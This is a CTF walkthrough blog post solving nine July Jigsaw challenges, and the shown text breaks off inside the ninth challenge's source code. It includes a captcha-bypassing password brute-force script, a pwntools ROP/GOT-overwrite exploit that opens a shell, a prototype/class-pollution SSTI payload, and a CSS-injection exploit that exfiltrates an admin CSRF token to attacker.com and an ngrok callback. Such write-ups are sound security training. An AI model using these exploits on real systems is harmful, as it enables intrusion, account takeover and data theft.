0

July Jigsaw - Walkthrough

As a part of our monthly CTF cycle we organised July Jigsaw CTF where over 400+ hackers participated to fight for the top 10 positions. This is a walk through of the July Jigsaw CTF.
binary exploitation web app pentesting waptCryptography
Bhavarth Karmarkar
August 8th 2023.
July Jigsaw - Walkthrough

July Jigsaw Walkthrough

i. Free Flag

Free Flag
Opening the link will redirect us to BugBase's discord server. From the announcement channel, we can directly get the flag.
Flag

ii. Robots

Robots
Opening the URL will take us to a login page where we have no clue about the username/password. Let's have a look at the source code:
Login Page
From here, we get the username tuhin1729. Now we need only the password.
According to the challenge description, the security engineer has zero knowledge about cyber security best practices. So it might be possible that he is using a weak password.
But the problem is we can't bruteforce the password since there is a captcha placed on the login page which will get expired in 10 seconds. There are two cookies cp and t. The first one is responsible for verifying whether the captcha answer is correct or not whereas the second cookie t checks whether the captcha is expired or not.

However, point to be noted that the captcha is not an image, it's plain text which can easily be fetched from the source code (by writing a simple script). So let's write a Python script which will extract the captcha from the source code, solve it, and then submit it along with the correct cookies to bruteforce the password.

1import requests 2import re 3import sys 4 5passwords = open('10-million-password-list-top-1000.txt','r') 6 7for line in passwords: 8 session = requests.Session() 9 r = session.get('http://165.232.190.5:7777/') 10 11 # Regular expression to find arithmetic expression 12 expression_regex = r'(\d+\+\d+)=<' 13 14 # Use regex to find the expression 15 match = re.search(expression_regex, r.text) 16 17 if match: 18 # Get the matched expression 19 arithmetic_expression = match.group(1) 20 21 # Remove the '=' sign from the end of the expression 22 arithmetic_expression = arithmetic_expression.rstrip('=') 23 24 # Evaluate the expression & submit it along with username and password 25 r = session.post('http://165.232.190.5:7777/login', data={"username":"tuhin1729", "password":line.rstrip(), "cp_user":eval(arithmetic_expression)}) 26 if "BugBase{" in r.text: 27 print("Flag: ", r.text) 28 sys.exit() 29 else: 30 print(r.text) 31

After a couple of minutes, we got the flag:
Flag

iii. API Heist

API Heist
We are given a JSON file that looks like an exported postman collection.
JSON
So, let's analyze it by importing into postman
Postman
So there are 4 API requests. Let's have a look at each one of them carefully:

1. Fetch Leaderboard

Fetch Leaderboard
So, there are 3 users. From this endpoint, we can also get the UUID of each user which can be helpful later.

2. GET Active Competitions

GET Active Competitions
Nothing interesting here.

3. Login

Login
P.S: The username & password were already provided.
So, JWT is used for authentication purposes. Maybe we can play around with JWT later.

4. Fetch User Details

Fetch User Details
The flag URL is a rick roll, maybe some other user is allowed to view the flag.

After testing IDORs & playing with the JWT a bit, we're not able to find anything interesting. However, during our testing, we found that there is an API version 1 also which the dev team forgot to remove.
Version 1
As per the challenge description, the API v1 may contain some vulnerabilities. So the first thing which came to our mind is testing the JWT vulnerabilities again with v1 of the API.
However, it didn't bore any fruit. So, let's try IDOR. We'll fetch the UUID of the second user 0daygod and use it in the fetch user details endpoint.
Successful
We are able to fetch other users' details. However, this flag URL also turned out to be a rickroll.
Let's try with the last user tuhin1729,
Flag
Opening the pastebin URL will give us the flag BugBase{!d0r$_4r3_fun_$hhhhhhhh}

iv. Bigollo Encryption

Challenge Title: Bigollo Encryption
Category: Cryptography
Difficulty: Easy
Description: Hey There! I am using a new encryption scheme

Initial Analysis

We are given a Netcat connection string, and on connecting, we can observe the following output:

bigollo_enc_2.png

bigollo_enc_1.png

We can print out the flag encrypted with whatever this shitty scheme is, also we can provide any input and get it encrypted. So we start sending some characters and check the output.

bigollo_enc_3.png

Hmmm... this makes no sense! But right off the bat , the name seems a bit suspicious and after googling we quickly find that Bigollo is the initial of the famous mathematician Leonardo Bigollo Pisano who came up with the Fibonacci series!

So we know that the fibonacci series is at play. The next thing we can notice is the large numbers we get for each character of our input. Maybe these are the numbers of fibonacci series! But as we can see in the above screenshot, the same letter corresponds to different number in the same word, but is always the same if encrypted individually! This could mean only one thing, the number is being manipulated using fibonacci series, maybe based on it's position in the sentence.
Let's start by analyzing what could the cipher be doing by analyzing the encrypted letters individually.

So A = 0x41 and enc(A)=10610209857786 maybe this is the fibonacci series(1,1,2,3,5....) number of 0x41, but it turns out that it is a bit off than fib(0x41)=10610209857723 but it's just a bit off, which suspiciously suggest XOR encryption scheme. And indeed, as it turns out fib(0x41)^0x41 == enc(0x41) !!! Also, further analysis reveals that the series is instantiated at the first character by it's corresponding ascii value and the each subsequent letter is XORed with the next character in the series. As can be observed when providing AA as the input , the first value, as we know is 0x41 xored with the fibonacci number for 0x41, where as the next number is really close to the next number i.e 0x42 in the fibonacci series fib(0x42) = 17167680177565, also fib(0x42) ^ 0x41 = 17167680177628 which is the same as the second number in the output of encrypting AA

Now the decryption process is quite easy, since we know the flag format BugBase{xxxxxxxx}, we know that the series starts with fib(0x42) and hence the solve script will be as shown below


encrypted_flag = "17167680177631 27777890035245 44945570212754 72723460248079 117669030460963 190392490709244 308061521170100 498454011879195 806515533049457 1304969544928718 2111485077978032 3416454622906720 5527939700884852 8944394323791364 14472334024676113 23416728348467612 37889062373143869 61305790721611572 99194853094755521 160500643816367041 259695496911122669 420196140727489789 679891637638612315 1100087778366102004 1779979416004714152 2880067194370816022 4660046610375530278 7540113804746346447 12200160415121876859 19740274219868223183 31940434634990099893 51680708854858323121 83621143489848423025 135301852344706746031 218922995834555169117 354224848179261915056 573147844013817084070 927372692193078999264 1500520536206896083326 2427893228399975082424 3928413764606871165713 6356306993006846248104 10284720757613717413944 16641027750620563662129 26925748508234281075976 43566776258854844738116"

enc = [ int(i) for i in encrypted_flag.split(" ")]

def getFibonacciSequence(n):

	if(n==1):
		return 0
	elif(n==2):
		return 1

	prev,nxt=-1,1
	n-=1
	while n>=0:
		prev,nxt = nxt,nxt+prev
		n-=1
	return nxt

init = ord('B')
flag = "B"
for i in enc[1:]:
	init+=1
	flag += chr(i ^ getFibonacciSequence(init))

print(flag)

Flag

BugBase{@r3ally_sh1tty_encrypt10n_sch3m3!!!}

v. Baby Fox

Challenge Title: Baby Fox
Category: Forensics
Difficulty: Easy
Description: Don't fall for the cuteness of this fox, he is good at hiding!

So we are given an image of a cute fox. But he must be hiding something. Let's find out

Step 1: Initial Analysis Upon downloading the challenge file, we start by running binwalk on the image file to check for any embedded data or hidden files.
baby_fox_1.png

As we can see, the fox image is indeed hiding a big fat zip file! Let's extract it...

baby_fox_2.png

Hmmm.. interesting, this looks like a firefox profile! As we know, a firefox profile folder consists of a treasure of useful information like Browsing history, Bookmarks, Login Data etc.

On exploring the browsing history of the user, we find a pastebin link:

baby_fox_3.png

The pastebin contains the following text

Primary: inuyasha

This is a major hint to it being the Primary password, which is used to protect the login passwords of users in firefox. Let's try to grab the login password of this user using a tool called firefox_decrypt

baby_fox_4.png

Yepp! That's it... Let's log in using these creds and see what's in there..

firefox_5.png

That's our flag!

BugBase{unr3li@bl3_cut3_d0gg0s}

vi. Task List

Challenge Title: Task List
Category: pwn
Difficulty: Medium
Description: Leave all your task scheduling worries on us, we will remind you on time!

Initial Analysis

CHECKSEC

Tasklist_12.png

The protections on this binary imply that we cannot get our shellcode to execute, but we can use ROP and GOT table overwrite techniques.

Tasklist_1.png

So we receive a menu with the following options

  • Schedule the Task

Tasklist_2.png

This menu option is used to schedule a new task, as the option name suggests and it asks the user to input the date, time and description for the task.

  • View all Tasks

Tasklist_3.png

This task is used to view all the task that have been created.

  • View Single Task

Tasklist_4.png

This menu option allows us to enter the index of a single task that we wish to view.

  • Edit a Task

Tasklist_5.png

We also get a choice to edit the timestamp of the task and it's type.

  • Delete a Task
    This allows us to delete a specified task based on it's index

  • Execute a Job

Tasklist_6.png

This option allows us to assign a job to a task. But there's a catch... being a "premium feature", we can only use this twice.

Now let us look at the decompilation of all the functions in ghidra..

schedule_task

Tasklist_7.png

This function schedules a task based on user choices of a) The kind of task b) Date and time of task c) A description of the task. It is then stored in one of the indices of the global tasklist array. There is no vulnerability in this code so far...

Moving on to next function

view_all_tasks

Tasklist_8.png

This function is even simpler, it only serves the purpose of viewing all the tasks uptil the param_1 index which is passed as an argument to the function. No vulnerability yet.
Next, we have the view_single function

view_single

Tasklist_9.png

This function asks the user to view which in task to view and prints our its contents. Also no vulnerability in this function again. Moving on...

edit_task

Tasklist_10.png

Next up, we have the edit_task function, and an experienced eye cannot miss the array index out of bounds write from the tasklist array, as seen in line no.17 where the user choice of which item in the tasklist to edit is handled improperly, no checks were provided for the local_30 variable to prevent it from being negative. Thus it is possible to edit a task at a negative index to the global tasklist array. Let's see in the memory what actually is found at this negative indices.

Tasklist_11.png

As we can see in gdb, the entire Global Offset Table is setup at an index negative to this tasklist arary!! Also, as we saw in the checksec section, we can overwrite the GOT table as FULL RELRO is disabled. So we can definitely modify one of the GOT table entries using the edit_task function, but there is a caveat! We are only allowed to modify the timestamp and the kind of task it is. Since the kind of tasks is always going to be a hardcoded string over which we don't have any control, this leaves us with the timestamp. Let's see at what positions our timestamp could occur.

So we fire up gdb, create a new task and examine the memory around tasklist aray

Tasklist_13.png

Ok, so we can see that the timestamp variable of the task structure will always be the first 8 bytes of the task struct. Also as we can see in the figure, it can overwrite the [email protected] function with system. This can be useful if we call the convertToUnixTimestamp with the string "/bin/sh\x00". But first, we need to leak the system function libc address.

convertToUnixTimestamp


time_t convertToUnixTimestamp(int param_1,int param_2,int param_3,undefined8 param_4)

{
  int iVar1;
  tm local_58;
  undefined local_1c [4];
  undefined local_18 [4];
  undefined4 local_14;
  time_t local_10;


// THIS IS THE PART WHHERE WE THE POISONED GOT ENTRY OF __isoc99_scanf WILL BE USED TO CALL THE FUNCTION WITH THE USER INPUT OF TIMESTAMP AS FIRST ARGUMENT
  iVar1 = __isoc99_sscanf(param_4,"%d:%d:%d",&local_14,local_18,local_1c);



  if (iVar1 != 3) {
     puts("Error: Invalid time format. Use hh:mm:ss format.");
                         /* WARNING: Subroutine does not return */
     exit(1);
  }
  if (param_3 < 0x7b2) {
     puts("Error: Invalid year. Unix timestamp starts from 1970.");
                         /* WARNING: Subroutine does not return */
     exit(1);
  }
  if ((param_2 < 1) || (0xc < param_2)) {
     puts("Error: Invalid month. Please use a value between 1 and 12.");
                         /* WARNING: Subroutine does not return */
     exit(1);
  }
  if ((0 < param_1) && (param_1 < 0x20)) {
     local_58._24_8_ = 0;
     local_58._32_8_ = 0;
     local_58.tm_gmtoff = 0;
     local_58.tm_zone = (char *)0x0;
     local_58._16_8_ = CONCAT44(param_3 + -0x76c,param_2 + -1);
     local_58._8_8_ = CONCAT44(param_1,local_14);
     local_10 = mktime(&local_58);
     if (local_10 == -1) {
       puts("Error: Invalid date or time.");
                         /* WARNING: Subroutine does not return */
       exit(1);
     }
     return local_10;
  }
  puts("Error: Invalid day. Please use a value between 1 and 31.");
                         /* WARNING: Subroutine does not return */
  exit(1);
}

Moving forward, let's see the decompilation of the function job_sched in ghidra

job_sched

Tasklist_15.png

This function is right off the bat vulnerable to buffer overflow, as the read function on line no. 18 takes in greater number of bytes than the local_58 buffer can store. Also remember, that we had the ability to do a ROP chain attack from BOF due to a missing stack canary. This can be used to get the base address of libc, using the following ROP Chain:

POP RDI, GOT ADDRESS OF mktime, PLT ADDRESS OF PUTS, ADDRESS OF JOB_SCHED

and we will have to repeat this one more time with another libc function that has already been called and resolved in the GOT table.

POP RDI, GOT ADDRESS OF mktime, PLT ADDRESS OF PUTS, ADDRESS OF JOB_SCHED

solve script so far :

rop = ROP(exe)
def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r,
                '''
                    break *job_sched+181
                    c
                ''')
    else:
        r = remote("165.232.190.5", 1338)

    return r

r = conn()

sla=lambda x,y: r.sendlineafter(x,y)

def main():

    # create a task
    sla(b"Enter your choice: ",b"1")
    sla(b"Enter your choice: ",b"4") # selecting kind of task
    sla(b"Enter day: ","10")
    sla(b"Enter month: ","10")
    sla(b"Enter year: ","2000")
    sla(b"Enter time(format-hh:mm:ss): ","15:30:00")
    sla(b"Enter a short description for the task: ",b"A"*48)

    # create a job with overflowing the job buffer with pop_rdi + puts_got + puts_plt + sched_job , again pop_rdi+printf_got+puts_plt+main
    sla(b"Enter your choice: ",b"6")
    sla(b"Enter the task number: ",b"0")
    pop_rdi = p64(rop.rdi.address)

    payload1= b'A'*88+pop_rdi+p64(exe.got['puts'])+p64(exe.plt['puts'])+p64(exe.symbols['job_sched'])
    sla(b"Enter the Job summary: ",payload1)
    r.recvline()
    r.recvline()
    puts_leak = u64(r.recvline().strip(b'\n').ljust(8,b'\x00'))
    print(f"Leaked puts address: {hex(puts_leak)}")
    sla(b"Enter the task number: ",b"0")
    payload2=b'A'*88+pop_rdi+p64(exe.got['mktime'])+p64(exe.plt['puts'])+p64(exe.symbols['main'])
    sla(b"Enter the Job summary: ",payload2)
    r.recvline()
    r.recvline()
    mktime_leak = u64(r.recvline().strip(b'\n').ljust(8,b'\x00'))
    print(f"Leaked mktime address: {hex(mktime_leak)}")

Tasklist_18.png

Now, we can use the libc database to find out the version of libc being used in the task and find calculate the system address by adding its offset to the base.

Tasklist_17.png

The libc database has found two matching versions for the libc, we can use one of them to calculate the base address of the system

Tasklist_19.png

With this, we know the base address of libc is libc_base = puts_address - 0x970 and we can set this to the base of libc in our solver script and pwntools takes care of calculating the address of the system based on its symbol table. But I prefer to do it manually, which gives us system_address= libc_base + 0x04f420

Now we are ready to overwrite the sscanf entry of the GOT table with the address of the system, and then schedule a task with the timestamp as the string /bin/sh which will allow us to pop a shell.
For this, we will need to create a UNIX timestamp with the value of the system address, I wrote two utility scripts to ease the conversion between the human-readable and UNIX timestamps

human_to_unix.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

int is_leap_year(int year) {
    return (year % 4 == 0 && year % 100 != 0) || (year % 400 == 0);
}

int days_in_month(int year, int month) {
    static const int days_per_month[] = { 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 };
    int days = days_per_month[month - 1];
    if (month == 2 && is_leap_year(year))
        days++;
    return days;
}

int main() {
    int year, month, day;
    char time_str[9];
    int hours, minutes, seconds;

    // Input: Year, Month, Day
    printf("Enter year, month, and day (YYYY-MM-DD hh:mm:ss): ");
    scanf("%d-%d-%d %d:%d:%d", &year, &month, &day,&hours, &minutes, &seconds);

    // Validate input values
    if (year < 1970 || month < 1 || month > 12 || day < 1 || day > days_in_month(year, month) ||
        hours < 0 || hours >= 24 || minutes < 0 || minutes >= 60 || seconds < 0 || seconds >= 60) {
        printf("Invalid input values.\n");
        return 1;
    }

    // Convert to Unix timestamp
    struct tm time_info = {0};
    time_info.tm_year = year - 1900;
    time_info.tm_mon = month - 1;
    time_info.tm_mday = day;
    time_info.tm_hour = hours;
    time_info.tm_min = minutes;
    time_info.tm_sec = seconds;

    time_t unix_timestamp = mktime(&time_info);
    if (unix_timestamp == -1) {
        printf("Invalid date/time representation.\n");
        return 1;
    }

    printf("Unix timestamp: %lld\n", unix_timestamp);
    return 0;
}

unix_to_human.c

#include <stdio.h>
#include <time.h>

int main() {
    time_t unix_timestamp;
    struct tm *date_info;
    char buffer[80];

    // Get the Unix timestamp from the user
    printf("Enter a Unix timestamp: ");
    scanf("%lld", &unix_timestamp);

    // Convert the Unix timestamp to a struct tm
    date_info = localtime(&unix_timestamp);

    // Format the date as a human-readable string
    strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", date_info);

    // Print the human-readable date
    printf("Human-readable date: %s\n", buffer);

    return 0;
}

This will allow us to quickly convert between two formats, we can just print out the address of the system from our solve script as an integer and feed it to unix_to_human program and then edit the timestamp of the job at index -6 (to overwrite sscanf) and set it to human readable timestamp outputted by the program.

solve script so far:

#!/usr/bin/env python3
#  The big Idea is to create a job -> ROP to leak the libc addresses of 2 functions[24 bytes (pop rdi + got address of function + puts@plt)] -> determine the libc version, calculate the base and the address of system function -> call the main function again [extra 8 bytes in the overflow] -> edit task to overwrite the sscanf of  
# difference b/w system unix ts and actual system unix ts = system+14436
from pwn import *
import datetime

def print_local_time(unix_timestamp):
    local_time = datetime.datetime.fromtimestamp(unix_timestamp)
    print("Local Time:", local_time)

exe = ELF("./chall")

context.binary = exe

rop = ROP(exe)
def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r,
                '''
                    break *job_sched+181
                    c
                ''')
    else:
        r = remote("165.232.190.5", 1338)

    return r

r = conn()

sla=lambda x,y: r.sendlineafter(x,y)

def main():

    # create a task
    sla(b"Enter your choice: ",b"1")
    sla(b"Enter your choice: ",b"4") # selecting kind of task
    sla(b"Enter day: ","10")
    sla(b"Enter month: ","10")
    sla(b"Enter year: ","2000")
    sla(b"Enter time(format-hh:mm:ss): ","15:30:00")
    sla(b"Enter a short description for the task: ",b"A"*48)

    # create a job with overflowing the job buffer with pop_rdi + puts_got + puts_plt + sched_job , again pop_rdi+printf_got+puts_plt+main
    sla(b"Enter your choice: ",b"6")
    sla(b"Enter the task number: ",b"0")
    pop_rdi = p64(rop.rdi.address)

    payload1= b'A'*88+pop_rdi+p64(exe.got['puts'])+p64(exe.plt['puts'])+p64(exe.symbols['job_sched'])
    sla(b"Enter the Job summary: ",payload1)
    r.recvline()
    r.recvline()
    puts_leak = u64(r.recvline().strip(b'\n').ljust(8,b'\x00'))
    print(f"Leaked puts address: {hex(puts_leak)}")
    sla(b"Enter the task number: ",b"0")
    payload2=b'A'*88+pop_rdi+p64(exe.got['mktime'])+p64(exe.plt['puts'])+p64(exe.symbols['main'])
    sla(b"Enter the Job summary: ",payload2)
    r.recvline()
    r.recvline()
    mktime_leak = u64(r.recvline().strip(b'\n').ljust(8,b'\x00'))
    print(f"Leaked mktime address: {hex(mktime_leak)}")
    system_addr=puts_leak-0x80970+0x04f420
    print(f"System address is {system_addr}")
    print(f"Convert to local time...{system_addr-3600}")
    sla(b"Enter your choice: ",b"4")
    sla(b"Enter the task number to edit: ",b"-6")
    sla(b"Do you wish to edit the timestamp?[y/n]: ",b"y")

    # good luck pwning :)

    r.interactive()


if __name__ == "__main__":
    main()

Keep in mind that the actual date and time you enter must be adjusted to the date and time of the server, here I have used 3600(You can leverage the view_all_tasks or view_single_task functions to print out the actual timestamps stored in the server and take the difference)

Running the solve script:

Tasklist_21.png

vii. Task Assignment

Challenge Title: Task Assignment
Category: Web
Difficulty: Medium
Description: Well I just can't seem to get bored of creating apps to automate my task scheduling for me and for others! Let's see if you can flag this one too :P

This challenge also contains the source code and the Dockerfile. I will be going through the vulnerable functions of app.py quickly since it's too big to be examined line by line

get_role()


@app.route('/get_role')
def get_role():
    if not request.args.get('role') or request.args.get('role') == 'app_admin':
        abort(400)
    session['user'] = '{"role":"%s","username":"%s"}' % (request.args.get("role"), request.args.get("username"))
    mischief = re.search(r'"role":"(.*?)"',session['user']).group(1)
    if mischief == "app_admin":
        abort(400)
    user_data = ujson.loads(session['user'])
    print("username: ",user_data['username'])
    print("role: ",user_data['role'])
    if user_data['username'] == 'admin' and user_data['role'] == 'app_admin':
        _Jobs = Jobs()
        save_jobs_to_cookie(_Jobs)
        return redirect('/admin')
    else:
        return redirect('/user')

So the application has a special role called app_admin, and the logic prevents us from getting that role. But since the application later loads the role using the ujson library, which is notorious for truncating invalid Unicode character points from the parsed string.

We can use this behavior to obtain the app_admin role and start hacking the admin functionalities

Task_Assignment_2.png

To leverage this behavior, we will simply set the username as admin and the role as app_admin\ud800

Task_Assignment_3.png

Now we can login as admin

Task_Assignment_5.png

Here we can see that we have the ability to assign a new Job/Task to someone else. Also we can schedule an Agenda with a goal. The code for scheduling the agenda is a bit fishy, as it uses recursive merge to set the properties of the class Agenda. And as shown here it is extremely harmful to do so as we can access the properties __class__ and _init__ of the Agenda class and get access to the __globals__ variable which will in turn allow us to modify the template_string global variable used to set up the formatting of the export functionality and perform Server Side Template Injection

@login_required
@app.route('/schedule_agenda', methods=['POST'])
def schedule_agenda():
    user_data = ujson.loads(session['user'])
    if user_data['role'] == 'app_admin' and user_data['username'] == 'admin' :
        agenda = request.form['agenda']
        goal = request.form['goal']
        if(is_valid_json(goal)):
            newagenda = Agenda()
            merge(ujson.loads(goal),newagenda)
            _Jobs=load_jobs_from_cookie()
            _Jobs.agenda = newagenda
            save_jobs_to_cookie(_Jobs)
            flash("Agenda updated!","success")
        else:
            print("Invalid json")
            flash("Please provide a valid JSON","danger")

        return redirect('admin')

    else:
        flash("You don't have the necessary permissions to schedule an agenda.", "danger")
        return redirect(url_for('root'))

The vulnerable merge function:

def merge(src, dst):
    print("in merge")
    for k, v in src.items():
        print("k: ",k,", v: ",v,", dst: ",dst)
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

This merge function recurses down the dictionary we provide as JSON and sets the corresponding attribute of each item in the dictionary defined by the dictionary it holds. For eg:

{
	"attribute1": {
		"another_object":
		{
			"attribute2":"value"
		}
	}
}

Sending this json will be effectively same as doing this in python

Agenda().attribute1.another_object.attribute2 = value

To modify the global template_string variable, we will need to do this

Agenda().__class__.__init__.globals.template_string = "poc"

Thus if we send in a JSON as shown below, in the goal of the schedule agenda function, we should be able to modify the template_string variable

{
  "__class__": {
    "__init__": {
      "__globals__": {
        "template_string": "poc"
      }
    }
  }
}

Task_Assignment_6.png

Now when we export the Tasks, we should see the string poc

Task_Assignment_7.png

Yay, We can perform SSTI ! Let's try to grab the flag.txt file using this injection

Task_Assignment_8.png

And we get our flag!

Task_assignment_9.png

viii. Damn.com

Title: Damn.com
Category: web
Difficulty: Hard
Description: When a security researcher creates a blog website, it is meant to be damn secure! Can you gain the admin access and prove that you are superior than me

damndotcom_1.png

We are given the link to a blog website with Login and Register functionality. Also, the description says that we need to login as admin to get the flag.
Let's create and login with a new account:

damndotcom_2.png

We get redirected to /accounts on successful login. Here we can see that we have a functionality of changing the password.

damndotcom_3.png

Here we get the ability to change our password. Let's try changing our password

damndotcom_4.png

As we can see, we have to enter a strong passsword. Notice how the register page didn't have this validation? This was an intended hint which I will be getting to later, for now let us explore what other functionalities are available to us.
The /myblogs endpoint gives us two options, we can either create a new blog on the site, or import a blog from some other url.

damndotcom_5.png

Let's set up burp collaborator and test the blog url for any interactions.
Upon submitting the url, we get a flash message which says the admin will visit the url

damndotcom_7.png

damndotcom_6.png

As we can see in the image we do in fact receive an interaction from the server! This will be really useful later.

Next Let us test the create blog functionality.

damndotcom_8.png

Man, is this site heavily moderated! We can't even create a blog in peace without the admin visiting it. Let's check whether this blog appears in "My Blogs" section.

And it did show up..

damndotcom_9.png

damndotcom_10.png

The blog section contains new functionality to test... let's add a comment to look for any kind of injection.

damndotcom_11.png

Even the comments are moderated! But...we have injection in comments section. Let's try to inject some javascript.

damndotcom_12.png

Well, looks like our script got injected, but we can't see any alert box popping up. What gives?
Turns out that the site is enforcing some strict CSP.

damndotcom_13.png

Content-Security-Policy: script-src 'self';font-src 'self';object-src 'none';media-src 'none';frame-src 'none';base-uri 'none';sandbox allow-forms;

This will block any kind of attempt at executing javascript that is not hosted on the website itself.
Up unitl now, my initial approach to getting admin access would have been. to fetch the admin csrf token from the blog page using javascript, then performing csrf attack by sending the admin to my page containing the csrf payload, but javascript is blocked. But as you can see, we can still inject html. But, can we inject CSS?

damndotcom_14.png

Hell yeah, We can!

We can use a cross-site leak using css injection to leak the admin csrf-token, by using conditional selectors in CSS of the form

input[name=csrf_token][value^=a] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

this will select the adjacent sibling ( ~ denotes we are selecting the sibling and * denotes any element can be taken to be the sibling, if it were p, then only adjacent paragraph elements would be styled, this needs to be done because the csrf_token input field is hidden and background image can not be set on it) to an input of the name "csrf_token" and if the token begins with 'a', and the background image of the sibling will be set to the image from the url https://attacker.com/exfil/csrF. As we see in the html source code of the page, the adjacent sibling to csrf_token input is the button which share the same parent "form".

    <h1>Create New Blog Post</h1>
    <form method="post">
        <div>
            <label for="title">Title</label>
            <input class="form-control" id="title" name="title" required="required" type="text" value="">
            
        </div>
        <div>
            <label for="content">Content</label>
            <textarea class="form-control" id="content" name="content" required="required">
</textarea>
            
        </div>
        <div>
            <label for="status">Status</label>
            <select class="form-control" id="status" name="status" required="required"><option value="public">Public</option><option value="private">Private</option></select>
            
        </div>
        <input type="hidden" name="csrf_token" value="CEKmGWyHDq">

        <button type="submit" class="btn btn-primary mt-5">Create Post</button>
    </form>

    </div>

    <!-- Add Bootstrap JS (jQuery required for Bootstrap) -->
    <script src="[https://code.jquery.com/jquery-3.5.1.slim.min.js](view-source:https://code.jquery.com/jquery-3.5.1.slim.min.js)"></script>
    <script src="[https://cdn.jsdelivr.net/npm/@popperjs/[email protected]/dist/umd/popper.min.js](view-source:https://cdn.jsdelivr.net/npm/@popperjs/[email protected]/dist/umd/popper.min.js)"></script>
    <script src="[https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js](view-source:https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js)"></script>
</body>

</html>

This way we can exfiltrate the token character by character based on conditional matches.

input[name=csrf_token][value^=a] ~ * {
    background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf_token][value^=b] ~ * {
    background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf_token][value^=9] ~ * {
    background-image: url(https://attacker.com/exfil/9);   
}

After we have exfiltrated the token, we can change the password of admin and login. Now you might guess why the password strength check was implemented on the change password endpoint, and not the registration endpoint. It is done so that some ctf player might not accidentally set a weak password for admin, and other players simply bruteforce their way in.

The exploit script to automate this process can be implemented as shown below:

# First we will send a malicious comment which will contain our entire payload
# admin will visit it
# we wait for a few seconds
# submit the import blog form with
from flask import Flask, request, render_template
from string import ascii_lowercase,ascii_uppercase,digits
import requests
from bs4 import BeautifulSoup
from time import sleep
import sys
import threading

session = requests.session()
ngrok_url = input("Enter your ngrok url: ")
def retrieve_form_csrf(url):
    global session
    try:
        # Send a GET request to the URL
        response = session.get(url)

        # Check if the request was successful (status code 200)
        if response.status_code == 200:
            # Parse the HTML content of the response
            soup = BeautifulSoup(response.text, 'html.parser')

            # Find the form element with input name='csrf'
            form = soup.find('form')
            csrf_input = form.find('input', {'name': 'csrf_token'})

            if csrf_input:
                # Extract the value of the 'csrf' input
                csrf_token = csrf_input['value']
                return csrf_token
            else:
                print("CSRF input with name='csrf' not found in the form.")
                return None
        else:
            print(f"Error: Unable to fetch the web page. Status code: {response.status_code}")
            return None
    except requests.exceptions.RequestException as e:
        print(f"Error: {e}")
        return None


def user_login():
    global session
    login_url="http://165.232.190.5:7000/login"
    login_data ={}
    login_data['username'] = "new_user"
    login_data['password'] = "new_user123"
    login_data['csrf_token'] = retrieve_form_csrf(login_url)
    print("Login csrf token: ",login_data['csrf_token'])
    login_response = session.post(login_url, data=login_data)
    if login_response.url == "http://165.232.190.5:7000/account":
        print("Login successful!")
    else:
        print("Login unsuccsesful")
        sys.exit(1)


app = Flask(__name__)
admin_csrf_token=""

@app.route('/concatenate', methods=['GET'])
def concatenate_strings():
    # Get the 'text' parameter from the query string
    global admin_csrf_token
    text = request.args.get('text')
    print("Received character: ",text)
    if text:
        admin_csrf_token += text
    return admin_csrf_token
    # Concatenate the received strings


def generate_payload(found_csrf):
    sspace = ascii_uppercase+ascii_lowercase+digits
    payload="<style>"
    for i in sspace:
        payload+= f"input[name=csrf_token][value^={found_csrf+i}] ~ *{{background-image:url({ngrok_url}/concatenate?text={i});}}"
    payload += "</style>"
    return payload

@app.route("/csrf")
def serve_csrf_form():
    csrf_token = request.args.get('csrf_token')
    password = request.args.get('password')
    print("Got csrf_token : {csrf_token}, password : {password}")
    return render_template('csrf.html', csrf_token=csrf_token, password=password)


def send_payload(blog_id):
    global admin_csrf_token,session
    url = "http://165.232.190.5:7000/add_comment?blog_id="+str(blog_id)
    csrf_token = retrieve_form_csrf("http://165.232.190.5:7000/blog?blog_id="+str(blog_id))
    print(f"CSRF-Token of comments: {csrf_token}")
    post_data={}
    post_data['title']="Please read this admin"
    post_data['description']= generate_payload(admin_csrf_token)
    post_data['csrf_token']=csrf_token
    session.post(url,post_data)


def csrf_admin(csrf_token,password):
    url = "http://165.232.190.5:7000/myblogs"
    post_data = {"blog_url":f"{ngrok_url}/csrf?csrf_token={csrf_token}&password={password}"}
    session.post(url,post_data)

def run_app():
    app.run(port=5001)

if __name__ == '__main__':
    flask_thread = threading.Thread(target=run_app)
    flask_thread.start()
    user_login()
    blog_id= int(input("Enter blog id: "))
    while len(admin_csrf_token) != 10:
        sleep(5)
        send_payload(blog_id)
        print(f"Payload so far: {admin_csrf_token}")

    # got the token
    # attempting to change the password
    new_password = "S0meR@nd0m_s3cur3_p4ssw0rd!"
    csrf_admin(admin_csrf_token,new_password)
    flask_thread.join()

Exploit script in action:

damndotcom_15.png

The password of admin will get changed successfully to whatever we set in the script after the script has successfully completed.

And on logging in, we receive a cookie with the flag!!!

damndotcom_16.png

ix. Breaking Bad Cryptography

Title: Breaking Bad Cryptography
Category: crypto
Difficulty: Hard
Description: The DEA agent ASAC Schrader has found a suspicious device that works like a chat portal for the people involved in the suspected meth empire operating under the covers of the famous chicken shop chain los pollos-hermanos. Since you are the most talented and focused agent of the cyber crimes division, he has asked you to retrieve the encrypted chats between the prime suspect Heisenberg and his associates which also include the famous business figure Gus Fring.

A crypto challenge based off Breaking Bad. Let's get right into solving it.
Fortunately we are given some source code to work with in this challenge.

# Breaking Bad Cryptography

from fastecdsa import curve,keys, ecdsa
from fastecdsa.point import Point
from messages import chat_inbox_all,keyrings
from Crypto.Cipher import AES
import hashlib
from colorama import Fore, Style
import sys,os
from Crypto.Util.Padding import pad, unpad


def print_colored_text(color, text):
    print(f"{color}{text}{Style.RESET_ALL}")


class Portal():
	def __init__(self,):
		self.G = curve.P256.G
		self.certs = {

			"[email protected]": {
